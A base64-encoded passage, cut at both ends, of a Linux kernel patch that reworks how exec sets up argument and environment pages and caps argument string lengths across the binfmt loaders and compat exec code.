Z19wYWdlcyhicHJtLCBzdGFja190b3AsIGV4ZWNfc3RhY2spCi1pbnQgaWEzMl9zZXR1cF9hcmdf
cGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSwgdW5zaWduZWQgbG9uZyBzdGFja190b3As
IGludCBleGVjdXRhYmxlX3N0YWNrKTsKIAogI3VuZGVmIHN0YXJ0X3RocmVhZAogI2RlZmluZSBz
dGFydF90aHJlYWQocmVncyxuZXdfcmlwLG5ld19yc3ApIGRvIHsgXApAQCAtMjg5LDU1ICsyODYs
NyBAQCBzdGF0aWMgdm9pZCBlbGYzMl9pbml0KHN0cnVjdCBwdF9yZWdzICpyZWdzKQogaW50IGlh
MzJfc2V0dXBfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sIHVuc2lnbmVkIGxv
bmcgc3RhY2tfdG9wLAogCQkJIGludCBleGVjdXRhYmxlX3N0YWNrKQogewotCXVuc2lnbmVkIGxv
bmcgc3RhY2tfYmFzZTsKLQlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKm1wbnQ7Ci0Jc3RydWN0IG1t
X3N0cnVjdCAqbW0gPSBjdXJyZW50LT5tbTsKLQlpbnQgaSwgcmV0OwotCi0Jc3RhY2tfYmFzZSA9
IHN0YWNrX3RvcCAtIE1BWF9BUkdfUEFHRVMgKiBQQUdFX1NJWkU7Ci0JbW0tPmFyZ19zdGFydCA9
IGJwcm0tPnAgKyBzdGFja19iYXNlOwotCi0JYnBybS0+cCArPSBzdGFja19iYXNlOwotCWlmIChi
cHJtLT5sb2FkZXIpCi0JCWJwcm0tPmxvYWRlciArPSBzdGFja19iYXNlOwotCWJwcm0tPmV4ZWMg
Kz0gc3RhY2tfYmFzZTsKLQotCW1wbnQgPSBrbWVtX2NhY2hlX3phbGxvYyh2bV9hcmVhX2NhY2hl
cCwgR0ZQX0tFUk5FTCk7Ci0JaWYgKCFtcG50KSAKLQkJcmV0dXJuIC1FTk9NRU07IAotCi0JZG93
bl93cml0ZSgmbW0tPm1tYXBfc2VtKTsKLQl7Ci0JCW1wbnQtPnZtX21tID0gbW07Ci0JCW1wbnQt
PnZtX3N0YXJ0ID0gUEFHRV9NQVNLICYgKHVuc2lnbmVkIGxvbmcpIGJwcm0tPnA7Ci0JCW1wbnQt
PnZtX2VuZCA9IHN0YWNrX3RvcDsKLQkJaWYgKGV4ZWN1dGFibGVfc3RhY2sgPT0gRVhTVEFDS19F
TkFCTEVfWCkKLQkJCW1wbnQtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1MgfCAgVk1fRVhFQzsK
LQkJZWxzZSBpZiAoZXhlY3V0YWJsZV9zdGFjayA9PSBFWFNUQUNLX0RJU0FCTEVfWCkKLQkJCW1w
bnQtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1MgJiB+Vk1fRVhFQzsKLQkJZWxzZQotCQkJbXBu
dC0+dm1fZmxhZ3MgPSBWTV9TVEFDS19GTEFHUzsKLSAJCW1wbnQtPnZtX3BhZ2VfcHJvdCA9ICht
cG50LT52bV9mbGFncyAmIFZNX0VYRUMpID8gCi0gCQkJUEFHRV9DT1BZX0VYRUMgOiBQQUdFX0NP
UFk7Ci0JCWlmICgocmV0ID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwgbXBudCkpKSB7Ci0JCQl1cF93
cml0ZSgmbW0tPm1tYXBfc2VtKTsKLQkJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hlcCwg
bXBudCk7Ci0JCQlyZXR1cm4gcmV0OwotCQl9Ci0JCW1tLT5zdGFja192bSA9IG1tLT50b3RhbF92
bSA9IHZtYV9wYWdlcyhtcG50KTsKLQl9IAotCi0JZm9yIChpID0gMCA7IGkgPCBNQVhfQVJHX1BB
R0VTIDsgaSsrKSB7Ci0JCXN0cnVjdCBwYWdlICpwYWdlID0gYnBybS0+cGFnZVtpXTsKLQkJaWYg
KHBhZ2UpIHsKLQkJCWJwcm0tPnBhZ2VbaV0gPSBOVUxMOwotCQkJaW5zdGFsbF9hcmdfcGFnZSht
cG50LCBwYWdlLCBzdGFja19iYXNlKTsKLQkJfQotCQlzdGFja19iYXNlICs9IFBBR0VfU0laRTsK
LQl9Ci0JdXBfd3JpdGUoJm1tLT5tbWFwX3NlbSk7Ci0JCi0JcmV0dXJuIDA7CisJcmV0dXJuIHNl
dHVwX2FyZ19wYWdlcyhicHJtLCBzdGFja190b3AsIGV4ZWN1dGFibGVfc3RhY2spOwogfQogRVhQ
T1JUX1NZTUJPTChpYTMyX3NldHVwX2FyZ19wYWdlcyk7CiAKZGlmZiAtLWdpdCBhL2ZzL2JpbmZt
dF9lbGYuYyBiL2ZzL2JpbmZtdF9lbGYuYwppbmRleCA5Y2M0ZjBhLi5mYTBjZjc3IDEwMDY0NAot
LS0gYS9mcy9iaW5mbXRfZWxmLmMKKysrIGIvZnMvYmluZm10X2VsZi5jCkBAIC0yNTQsOCArMjU0
LDggQEAgY3JlYXRlX2VsZl90YWJsZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSwgc3RydWN0
IGVsZmhkciAqZXhlYywKIAkJc2l6ZV90IGxlbjsKIAkJaWYgKF9fcHV0X3VzZXIoKGVsZl9hZGRy
X3QpcCwgYXJndisrKSkKIAkJCXJldHVybiAtRUZBVUxUOwotCQlsZW4gPSBzdHJubGVuX3VzZXIo
KHZvaWQgX191c2VyICopcCwgUEFHRV9TSVpFKk1BWF9BUkdfUEFHRVMpOwotCQlpZiAoIWxlbiB8
fCBsZW4gPiBQQUdFX1NJWkUqTUFYX0FSR19QQUdFUykKKwkJbGVuID0gc3Rybmxlbl91c2VyKCh2
b2lkIF9fdXNlciAqKXAsIE1BWF9BUkdfU1RSTEVOKTsKKwkJaWYgKCFsZW4gfHwgbGVuID4gTUFY
X0FSR19TVFJMRU4pCiAJCQlyZXR1cm4gMDsKIAkJcCArPSBsZW47CiAJfQpAQCAtMjY2LDggKzI2
Niw4IEBAIGNyZWF0ZV9lbGZfdGFibGVzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sIHN0cnVj
dCBlbGZoZHIgKmV4ZWMsCiAJCXNpemVfdCBsZW47CiAJCWlmIChfX3B1dF91c2VyKChlbGZfYWRk
cl90KXAsIGVudnArKykpCiAJCQlyZXR1cm4gLUVGQVVMVDsKLQkJbGVuID0gc3Rybmxlbl91c2Vy
KCh2b2lkIF9fdXNlciAqKXAsIFBBR0VfU0laRSpNQVhfQVJHX1BBR0VTKTsKLQkJaWYgKCFsZW4g
fHwgbGVuID4gUEFHRV9TSVpFKk1BWF9BUkdfUEFHRVMpCisJCWxlbiA9IHN0cm5sZW5fdXNlcigo
dm9pZCBfX3VzZXIgKilwLCBNQVhfQVJHX1NUUkxFTik7CisJCWlmICghbGVuIHx8IGxlbiA+IE1B
WF9BUkdfU1RSTEVOKQogCQkJcmV0dXJuIDA7CiAJCXAgKz0gbGVuOwogCX0KQEAgLTc3NywxMCAr
Nzc3LDYgQEAgc3RhdGljIGludCBsb2FkX2VsZl9iaW5hcnkoc3RydWN0IGxpbnV4X2JpbnBybSAq
YnBybSwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiAJfQogCiAJLyogT0ssIFRoaXMgaXMgdGhlIHBv
aW50IG9mIG5vIHJldHVybiAqLwotCWN1cnJlbnQtPm1tLT5zdGFydF9kYXRhID0gMDsKLQljdXJy
ZW50LT5tbS0+ZW5kX2RhdGEgPSAwOwotCWN1cnJlbnQtPm1tLT5lbmRfY29kZSA9IDA7Ci0JY3Vy
cmVudC0+bW0tPm1tYXAgPSBOVUxMOwogCWN1cnJlbnQtPmZsYWdzICY9IH5QRl9GT1JLTk9FWEVD
OwogCWN1cnJlbnQtPm1tLT5kZWZfZmxhZ3MgPSBkZWZfZmxhZ3M7CiAKQEAgLTk4NSw5ICs5ODEs
MTMgQEAgc3RhdGljIGludCBsb2FkX2VsZl9iaW5hcnkoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBy
bSwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiAKIAljb21wdXRlX2NyZWRzKGJwcm0pOwogCWN1cnJl
bnQtPmZsYWdzICY9IH5QRl9GT1JLTk9FWEVDOwotCWNyZWF0ZV9lbGZfdGFibGVzKGJwcm0sICZs
b2MtPmVsZl9leCwKKwlyZXR2YWwgPSBjcmVhdGVfZWxmX3RhYmxlcyhicHJtLCAmbG9jLT5lbGZf
ZXgsCiAJCQkgIChpbnRlcnByZXRlcl90eXBlID09IElOVEVSUFJFVEVSX0FPVVQpLAogCQkJICBs
b2FkX2FkZHIsIGludGVycF9sb2FkX2FkZHIpOworCWlmIChyZXR2YWwgPCAwKSB7CisJCXNlbmRf
c2lnKFNJR1NFR1YsIGN1cnJlbnQsIDApOworCQlnb3RvIG91dDsKKwl9CiAJLyogTi5CLiBwYXNz
ZWRfZmlsZW5vIG1pZ2h0IG5vdCBiZSBpbml0aWFsaXplZD8gKi8KIAlpZiAoaW50ZXJwcmV0ZXJf
dHlwZSA9PSBJTlRFUlBSRVRFUl9BT1VUKQogCQljdXJyZW50LT5tbS0+YXJnX3N0YXJ0ICs9IHN0
cmxlbihwYXNzZWRfZmlsZW5vKSArIDE7CmRpZmYgLS1naXQgYS9mcy9iaW5mbXRfZWxmX2ZkcGlj
LmMgYi9mcy9iaW5mbXRfZWxmX2ZkcGljLmMKaW5kZXggZjNkZGNhNC4uZjNkYzNjYSAxMDA2NDQK
LS0tIGEvZnMvYmluZm10X2VsZl9mZHBpYy5jCisrKyBiL2ZzL2JpbmZtdF9lbGZfZmRwaWMuYwpA
QCAtNjIyLDggKzYyMiw4IEBAIHN0YXRpYyBpbnQgY3JlYXRlX2VsZl9mZHBpY190YWJsZXMoc3Ry
dWN0IGxpbnV4X2JpbnBybSAqYnBybSwKIAlwID0gKGNoYXIgX191c2VyICopIGN1cnJlbnQtPm1t
LT5hcmdfc3RhcnQ7CiAJZm9yIChsb29wID0gYnBybS0+YXJnYzsgbG9vcCA+IDA7IGxvb3AtLSkg
ewogCQlfX3B1dF91c2VyKChlbGZfY2FkZHJfdCkgcCwgYXJndisrKTsKLQkJbGVuID0gc3Rybmxl
bl91c2VyKHAsIFBBR0VfU0laRSAqIE1BWF9BUkdfUEFHRVMpOwotCQlpZiAoIWxlbiB8fCBsZW4g
PiBQQUdFX1NJWkUgKiBNQVhfQVJHX1BBR0VTKQorCQlsZW4gPSBzdHJubGVuX3VzZXIocCwgTUFY
X0FSR19TVFJMRU4pOworCQlpZiAoIWxlbiB8fCBsZW4gPiBNQVhfQVJHX1NUUkxFTikKIAkJCXJl
dHVybiAtRUlOVkFMOwogCQlwICs9IGxlbjsKIAl9CkBAIC02MzQsOCArNjM0LDggQEAgc3RhdGlj
IGludCBjcmVhdGVfZWxmX2ZkcGljX3RhYmxlcyhzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLAog
CWN1cnJlbnQtPm1tLT5lbnZfc3RhcnQgPSAodW5zaWduZWQgbG9uZykgcDsKIAlmb3IgKGxvb3Ag
PSBicHJtLT5lbnZjOyBsb29wID4gMDsgbG9vcC0tKSB7CiAJCV9fcHV0X3VzZXIoKGVsZl9jYWRk
cl90KSh1bnNpZ25lZCBsb25nKSBwLCBlbnZwKyspOwotCQlsZW4gPSBzdHJubGVuX3VzZXIocCwg
UEFHRV9TSVpFICogTUFYX0FSR19QQUdFUyk7Ci0JCWlmICghbGVuIHx8IGxlbiA+IFBBR0VfU0la
RSAqIE1BWF9BUkdfUEFHRVMpCisJCWxlbiA9IHN0cm5sZW5fdXNlcihwLCBNQVhfQVJHX1NUUkxF
Tik7CisJCWlmICghbGVuIHx8IGxlbiA+IE1BWF9BUkdfU1RSTEVOKQogCQkJcmV0dXJuIC1FSU5W
QUw7CiAJCXAgKz0gbGVuOwogCX0KZGlmZiAtLWdpdCBhL2ZzL2JpbmZtdF9taXNjLmMgYi9mcy9i
aW5mbXRfbWlzYy5jCmluZGV4IGU2ZjU3OTkuLmFhOWFlOTkgMTAwNjQ0Ci0tLSBhL2ZzL2JpbmZt
dF9taXNjLmMKKysrIGIvZnMvYmluZm10X21pc2MuYwpAQCAtMTI2LDcgKzEyNiw5IEBAIHN0YXRp
YyBpbnQgbG9hZF9taXNjX2JpbmFyeShzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLCBzdHJ1Y3Qg
cHRfcmVncyAqcmVncykKIAkJZ290byBfcmV0OwogCiAJaWYgKCEoZm10LT5mbGFncyAmIE1JU0Nf
Rk1UX1BSRVNFUlZFX0FSR1YwKSkgewotCQlyZW1vdmVfYXJnX3plcm8oYnBybSk7CisJCXJldHZh
bCA9IHJlbW92ZV9hcmdfemVybyhicHJtKTsKKwkJaWYgKHJldHZhbCkKKwkJCWdvdG8gX3JldDsK
IAl9CiAKIAlpZiAoZm10LT5mbGFncyAmIE1JU0NfRk1UX09QRU5fQklOQVJZKSB7CmRpZmYgLS1n
aXQgYS9mcy9iaW5mbXRfc2NyaXB0LmMgYi9mcy9iaW5mbXRfc2NyaXB0LmMKaW5kZXggMWVkYmNj
YS4uNWI2MzA5ZiAxMDA2NDQKLS0tIGEvZnMvYmluZm10X3NjcmlwdC5jCisrKyBiL2ZzL2JpbmZt
dF9zY3JpcHQuYwpAQCAtNjgsNyArNjgsOSBAQCBzdGF0aWMgaW50IGxvYWRfc2NyaXB0KHN0cnVj
dCBsaW51eF9iaW5wcm0gKmJwcm0sc3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiAJICogVGhpcyBpcyBk
b25lIGluIHJldmVyc2Ugb3JkZXIsIGJlY2F1c2Ugb2YgaG93IHRoZQogCSAqIHVzZXIgZW52aXJv
bm1lbnQgYW5kIGFyZ3VtZW50cyBhcmUgc3RvcmVkLgogCSAqLwotCXJlbW92ZV9hcmdfemVybyhi
cHJtKTsKKwlyZXR2YWwgPSByZW1vdmVfYXJnX3plcm8oYnBybSk7CisJaWYgKHJldHZhbCkKKwkJ
cmV0dXJuIHJldHZhbDsKIAlyZXR2YWwgPSBjb3B5X3N0cmluZ3Nfa2VybmVsKDEsICZicHJtLT5p
bnRlcnAsIGJwcm0pOwogCWlmIChyZXR2YWwgPCAwKSByZXR1cm4gcmV0dmFsOyAKIAlicHJtLT5h
cmdjKys7CmRpZmYgLS1naXQgYS9mcy9jb21wYXQuYyBiL2ZzL2NvbXBhdC5jCmluZGV4IDcyZTVl
NjkuLjUyNzk3NDUgMTAwNjQ0Ci0tLSBhL2ZzL2NvbXBhdC5jCisrKyBiL2ZzL2NvbXBhdC5jCkBA
IC0xMzkxLDYgKzEzOTEsNyBAQCBzdGF0aWMgaW50IGNvbXBhdF9jb3B5X3N0cmluZ3MoaW50IGFy
Z2MsIGNvbXBhdF91cHRyX3QgX191c2VyICphcmd2LAogewogCXN0cnVjdCBwYWdlICprbWFwcGVk
X3BhZ2UgPSBOVUxMOwogCWNoYXIgKmthZGRyID0gTlVMTDsKKwl1bnNpZ25lZCBsb25nIGtwb3Mg
PSAwOwogCWludCByZXQ7CiAKIAl3aGlsZSAoYXJnYy0tID4gMCkgewpAQCAtMTM5OSw5MiArMTQw
MCw4NCBAQCBzdGF0aWMgaW50IGNvbXBhdF9jb3B5X3N0cmluZ3MoaW50IGFyZ2MsIGNvbXBhdF91
cHRyX3QgX191c2VyICphcmd2LAogCQl1bnNpZ25lZCBsb25nIHBvczsKIAogCQlpZiAoZ2V0X3Vz
ZXIoc3RyLCBhcmd2K2FyZ2MpIHx8Ci0JCQkhKGxlbiA9IHN0cm5sZW5fdXNlcihjb21wYXRfcHRy
KHN0ciksIGJwcm0tPnApKSkgeworCQkgICAgIShsZW4gPSBzdHJubGVuX3VzZXIoY29tcGF0X3B0
cihzdHIpLCBNQVhfQVJHX1NUUkxFTikpKSB7CiAJCQlyZXQgPSAtRUZBVUxUOwogCQkJZ290byBv
dXQ7CiAJCX0KIAotCQlpZiAoYnBybS0+cCA8IGxlbikgIHsKKwkJaWYgKE1BWF9BUkdfU1RSTEVO
IDwgbGVuKSB7CiAJCQlyZXQgPSAtRTJCSUc7CiAJCQlnb3RvIG91dDsKIAkJfQogCi0JCWJwcm0t
PnAgLT0gbGVuOwotCQkvKiBYWFg6IGFkZCBhcmNoaXRlY3R1cmUgc3BlY2lmaWMgb3ZlcmZsb3cg
Y2hlY2sgaGVyZS4gKi8KKwkJLyogV2UncmUgZ29pbmcgdG8gd29yayBvdXIgd2F5IGJhY2t3b3Jk
cy4gKi8KIAkJcG9zID0gYnBybS0+cDsKKwkJc3RyICs9IGxlbjsKKwkJYnBybS0+cCAtPSBsZW47
CiAKIAkJd2hpbGUgKGxlbiA+IDApIHsKLQkJCWludCBpLCBuZXcsIGVycjsKIAkJCWludCBvZmZz
ZXQsIGJ5dGVzX3RvX2NvcHk7Ci0JCQlzdHJ1Y3QgcGFnZSAqcGFnZTsKIAogCQkJb2Zmc2V0ID0g
cG9zICUgUEFHRV9TSVpFOwotCQkJaSA9IHBvcy9QQUdFX1NJWkU7Ci0JCQlwYWdlID0gYnBybS0+
cGFnZVtpXTsKLQkJCW5ldyA9IDA7Ci0JCQlpZiAoIXBhZ2UpIHsKLQkJCQlwYWdlID0gYWxsb2Nf
cGFnZShHRlBfSElHSFVTRVIpOwotCQkJCWJwcm0tPnBhZ2VbaV0gPSBwYWdlOwotCQkJCWlmICgh
cGFnZSkgewotCQkJCQlyZXQgPSAtRU5PTUVNOworCQkJaWYgKG9mZnNldCA9PSAwKQorCQkJCW9m
ZnNldCA9IFBBR0VfU0laRTsKKworCQkJYnl0ZXNfdG9fY29weSA9IG9mZnNldDsKKwkJCWlmIChi
eXRlc190b19jb3B5ID4gbGVuKQorCQkJCWJ5dGVzX3RvX2NvcHkgPSBsZW47CisKKwkJCW9mZnNl
dCAtPSBieXRlc190b19jb3B5OworCQkJcG9zIC09IGJ5dGVzX3RvX2NvcHk7CisJCQlzdHIgLT0g
Ynl0ZXNfdG9fY29weTsKKwkJCWxlbiAtPSBieXRlc190b19jb3B5OworCisJCQlpZiAoIWttYXBw
ZWRfcGFnZSB8fCBrcG9zICE9IChwb3MgJiBQQUdFX01BU0spKSB7CisJCQkJc3RydWN0IHBhZ2Ug
KnBhZ2U7CisKKyNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAorCQkJCXJldCA9IGV4cGFuZF9k
b3dud2FyZHMoYnBybS0+dm1hLCBwb3MpOworCQkJCWlmIChyZXQgPCAwKSB7CisJCQkJCS8qIFdl
J3ZlIGV4Y2VlZCB0aGUgc3RhY2sgcmxpbWl0LiAqLworCQkJCQlyZXQgPSAtRTJCSUc7CisJCQkJ
CWdvdG8gb3V0OworCQkJCX0KKyNlbmRpZgorCQkJCXJldCA9IGdldF91c2VyX3BhZ2VzKGN1cnJl
bnQsIGJwcm0tPm1tLCBwb3MsCisJCQkJCQkgICAgIDEsIDEsIDEsICZwYWdlLCBOVUxMKTsKKwkJ
CQlpZiAocmV0IDw9IDApIHsKKwkJCQkJLyogV2UndmUgZXhjZWVkIHRoZSBzdGFjayBybGltaXQu
ICovCisJCQkJCXJldCA9IC1FMkJJRzsKIAkJCQkJZ290byBvdXQ7CiAJCQkJfQotCQkJCW5ldyA9
IDE7Ci0JCQl9CiAKLQkJCWlmIChwYWdlICE9IGttYXBwZWRfcGFnZSkgewotCQkJCWlmIChrbWFw
cGVkX3BhZ2UpCisJCQkJaWYgKGttYXBwZWRfcGFnZSkgeworCQkJCQlmbHVzaF9rZXJuZWxfZGNh
Y2hlX3BhZ2Uoa21hcHBlZF9wYWdlKTsKIAkJCQkJa3VubWFwKGttYXBwZWRfcGFnZSk7CisJCQkJ
CXB1dF9wYWdlKGttYXBwZWRfcGFnZSk7CisJCQkJfQogCQkJCWttYXBwZWRfcGFnZSA9IHBhZ2U7
CiAJCQkJa2FkZHIgPSBrbWFwKGttYXBwZWRfcGFnZSk7CisJCQkJa3BvcyA9IHBvcyAmIFBBR0Vf
TUFTSzsKKwkJCQlmbHVzaF9jYWNoZV9wYWdlKGJwcm0tPnZtYSwga3BvcywKKwkJCQkJCSBwYWdl
X3RvX3BmbihrbWFwcGVkX3BhZ2UpKTsKIAkJCX0KLQkJCWlmIChuZXcgJiYgb2Zmc2V0KQotCQkJ
CW1lbXNldChrYWRkciwgMCwgb2Zmc2V0KTsKLQkJCWJ5dGVzX3RvX2NvcHkgPSBQQUdFX1NJWkUg
LSBvZmZzZXQ7Ci0JCQlpZiAoYnl0ZXNfdG9fY29weSA+IGxlbikgewotCQkJCWJ5dGVzX3RvX2Nv
cHkgPSBsZW47Ci0JCQkJaWYgKG5ldykKLQkJCQkJbWVtc2V0KGthZGRyK29mZnNldCtsZW4sIDAs
Ci0JCQkJCQlQQUdFX1NJWkUtb2Zmc2V0LWxlbik7Ci0JCQl9Ci0JCQllcnIgPSBjb3B5X2Zyb21f
dXNlcihrYWRkcitvZmZzZXQsIGNvbXBhdF9wdHIoc3RyKSwKLQkJCQkJCWJ5dGVzX3RvX2NvcHkp
OwotCQkJaWYgKGVycikgeworCQkJaWYgKGNvcHlfZnJvbV91c2VyKGthZGRyK29mZnNldCwgY29t
cGF0X3B0cihzdHIpLAorCQkJCQkJYnl0ZXNfdG9fY29weSkpIHsKIAkJCQlyZXQgPSAtRUZBVUxU
OwogCQkJCWdvdG8gb3V0OwogCQkJfQotCi0JCQlwb3MgKz0gYnl0ZXNfdG9fY29weTsKLQkJCXN0
ciArPSBieXRlc190b19jb3B5OwotCQkJbGVuIC09IGJ5dGVzX3RvX2NvcHk7CiAJCX0KIAl9CiAJ
cmV0ID0gMDsKIG91dDoKLQlpZiAoa21hcHBlZF9wYWdlKQorCWlmIChrbWFwcGVkX3BhZ2UpIHsK
KwkJZmx1c2hfa2VybmVsX2RjYWNoZV9wYWdlKGttYXBwZWRfcGFnZSk7CiAJCWt1bm1hcChrbWFw
cGVkX3BhZ2UpOwotCXJldHVybiByZXQ7Ci19Ci0KLSNpZmRlZiBDT05GSUdfTU1VCi0KLSNkZWZp
bmUgZnJlZV9hcmdfcGFnZXMoYnBybSkgZG8geyB9IHdoaWxlICgwKQotCi0jZWxzZQotCi1zdGF0
aWMgaW5saW5lIHZvaWQgZnJlZV9hcmdfcGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkK
LXsKLQlpbnQgaTsKLQotCWZvciAoaSA9IDA7IGkgPCBNQVhfQVJHX1BBR0VTOyBpKyspIHsKLQkJ
aWYgKGJwcm0tPnBhZ2VbaV0pCi0JCQlfX2ZyZWVfcGFnZShicHJtLT5wYWdlW2ldKTsKLQkJYnBy
bS0+cGFnZVtpXSA9IE5VTEw7CisJCXB1dF9wYWdlKGttYXBwZWRfcGFnZSk7CiAJfQorCXJldHVy
biByZXQ7CiB9CiAKLSNlbmRpZiAvKiBDT05GSUdfTU1VICovCi0KIC8qCiAgKiBjb21wYXRfZG9f
ZXhlY3ZlKCkgaXMgbW9zdGx5IGEgY29weSBvZiBkb19leGVjdmUoKSwgd2l0aCB0aGUgZXhjZXB0
aW9uCiAgKiB0aGF0IGl0IHByb2Nlc3NlcyAzMiBiaXQgYXJndiBhbmQgZW52cCBwb2ludGVycy4K
QEAgLTE0OTcsNyArMTQ5MCw2IEBAIGludCBjb21wYXRfZG9fZXhlY3ZlKGNoYXIgKiBmaWxlbmFt
ZSwKIAlzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtOwogCXN0cnVjdCBmaWxlICpmaWxlOwogCWlu
dCByZXR2YWw7Ci0JaW50IGk7CiAKIAlyZXR2YWwgPSAtRU5PTUVNOwogCWJwcm0gPSBremFsbG9j
KHNpemVvZigqYnBybSksIEdGUF9LRVJORUwpOwpAQCAtMTUxMSwyNCArMTUwMywxOSBAQCBpbnQg
Y29tcGF0X2RvX2V4ZWN2ZShjaGFyICogZmlsZW5hbWUsCiAKIAlzY2hlZF9leGVjKCk7CiAKLQli
cHJtLT5wID0gUEFHRV9TSVpFKk1BWF9BUkdfUEFHRVMtc2l6ZW9mKHZvaWQgKik7CiAJYnBybS0+
ZmlsZSA9IGZpbGU7CiAJYnBybS0+ZmlsZW5hbWUgPSBmaWxlbmFtZTsKIAlicHJtLT5pbnRlcnAg
PSBmaWxlbmFtZTsKLQlicHJtLT5tbSA9IG1tX2FsbG9jKCk7Ci0JcmV0dmFsID0gLUVOT01FTTsK
LQlpZiAoIWJwcm0tPm1tKQotCQlnb3RvIG91dF9maWxlOwogCi0JcmV0dmFsID0gaW5pdF9uZXdf
Y29udGV4dChjdXJyZW50LCBicHJtLT5tbSk7Ci0JaWYgKHJldHZhbCA8IDApCi0JCWdvdG8gb3V0
X21tOworCXJldHZhbCA9IGJwcm1fbW1faW5pdChicHJtKTsKKwlpZiAocmV0dmFsKQorCQlnb3Rv
IG91dF9maWxlOwogCi0JYnBybS0+YXJnYyA9IGNvbXBhdF9jb3VudChhcmd2LCBicHJtLT5wIC8g
c2l6ZW9mKGNvbXBhdF91cHRyX3QpKTsKKwlicHJtLT5hcmdjID0gY29tcGF0X2NvdW50KGFyZ3Ys
IE1BWF9BUkdfU1RSSU5HUyk7CiAJaWYgKChyZXR2YWwgPSBicHJtLT5hcmdjKSA8IDApCiAJCWdv
dG8gb3V0X21tOwogCi0JYnBybS0+ZW52YyA9IGNvbXBhdF9jb3VudChlbnZwLCBicHJtLT5wIC8g
c2l6ZW9mKGNvbXBhdF91cHRyX3QpKTsKKwlicHJtLT5lbnZjID0gY29tcGF0X2NvdW50KGVudnAs
IE1BWF9BUkdfU1RSSU5HUyk7CiAJaWYgKChyZXR2YWwgPSBicHJtLT5lbnZjKSA8IDApCiAJCWdv
dG8gb3V0X21tOwogCkBAIC0xNTUzLDEwICsxNTQwLDggQEAgaW50IGNvbXBhdF9kb19leGVjdmUo
Y2hhciAqIGZpbGVuYW1lLAogCWlmIChyZXR2YWwgPCAwKQogCQlnb3RvIG91dDsKIAotCXJldHZh
bCA9IHNlYXJjaF9iaW5hcnlfaGFuZGxlcihicHJtLCByZWdzKTsKKwlyZXR2YWwgPSBzZWFyY2hf
YmluYXJ5X2hhbmRsZXIoYnBybSxyZWdzKTsKIAlpZiAocmV0dmFsID49IDApIHsKLQkJZnJlZV9h
cmdfcGFnZXMoYnBybSk7Ci0KIAkJLyogZXhlY3ZlIHN1Y2Nlc3MgKi8KIAkJc2VjdXJpdHlfYnBy
bV9mcmVlKGJwcm0pOwogCQlhY2N0X3VwZGF0ZV9pbnRlZ3JhbHMoY3VycmVudCk7CkBAIC0xNTY1
LDE5ICsxNTUwLDEyIEBAIGludCBjb21wYXRfZG9fZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAl9
CiAKIG91dDoKLQkvKiBTb21ldGhpbmcgd2VudCB3cm9uZywgcmV0dXJuIHRoZSBpbm9kZSBhbmQg
ZnJlZSB0aGUgYXJndW1lbnQgcGFnZXMqLwotCWZvciAoaSA9IDAgOyBpIDwgTUFYX0FSR19QQUdF
UyA7IGkrKykgewotCQlzdHJ1Y3QgcGFnZSAqIHBhZ2UgPSBicHJtLT5wYWdlW2ldOwotCQlpZiAo
cGFnZSkKLQkJCV9fZnJlZV9wYWdlKHBhZ2UpOwotCX0KLQogCWlmIChicHJtLT5zZWN1cml0eSkK
IAkJc2VjdXJpdHlfYnBybV9mcmVlKGJwcm0pOwogCiBvdXRfbW06CiAJaWYgKGJwcm0tPm1tKQot
CQltbWRyb3AoYnBybS0+bW0pOworCQltbXB1dCAoYnBybS0+bW0pOwogCiBvdXRfZmlsZToKIAlp
ZiAoYnBybS0+ZmlsZSkgewpkaWZmIC0tZ2l0IGEvZnMvZXhlYy5jIGIvZnMvZXhlYy5jCmluZGV4
IDMxNTVlOTEuLjg2Mzc2MzAgMTAwNjQ0Ci0tLSBhL2ZzL2V4ZWMuYworKysgYi9mcy9leGVjLmMK
QEAgLTUzLDYgKzUzLDcgQEAKIAogI2luY2x1ZGUgPGFzbS91YWNjZXNzLmg+CiAjaW5jbHVkZSA8
YXNtL21tdV9jb250ZXh0Lmg+CisjaW5jbHVkZSA8YXNtL3RsYi5oPgogCiAjaWZkZWYgQ09ORklH
X0tNT0QKICNpbmNsdWRlIDxsaW51eC9rbW9kLmg+CkBAIC0xNzMsNiArMTc0LDE1MyBAQCBleGl0
OgogCWdvdG8gb3V0OwogfQogCisjaWZkZWYgQ09ORklHX01NVQorCitzdGF0aWMgc3RydWN0IHBh
Z2UgKmdldF9hcmdfcGFnZShzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLCB1bnNpZ25lZCBsb25n
IHBvcywKKwkJaW50IHdyaXRlKQoreworCXN0cnVjdCBwYWdlICpwYWdlOworCWludCByZXQ7CisK
KyNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAorCWlmICh3cml0ZSkgeworCQlyZXQgPSBleHBh
bmRfZG93bndhcmRzKGJwcm0tPnZtYSwgcG9zKTsKKwkJaWYgKHJldCA8IDApCisJCQlyZXR1cm4g
TlVMTDsKKwl9CisjZW5kaWYKKwlyZXQgPSBnZXRfdXNlcl9wYWdlcyhjdXJyZW50LCBicHJtLT5t
bSwgcG9zLAorCQkJMSwgd3JpdGUsIDEsICZwYWdlLCBOVUxMKTsKKwlpZiAocmV0IDw9IDApCisJ
CXJldHVybiBOVUxMOworCisJcmV0dXJuIHBhZ2U7Cit9CisKK3N0YXRpYyB2b2lkIHB1dF9hcmdf
cGFnZShzdHJ1Y3QgcGFnZSAqcGFnZSkKK3sKKwlwdXRfcGFnZShwYWdlKTsKK30KKworc3RhdGlj
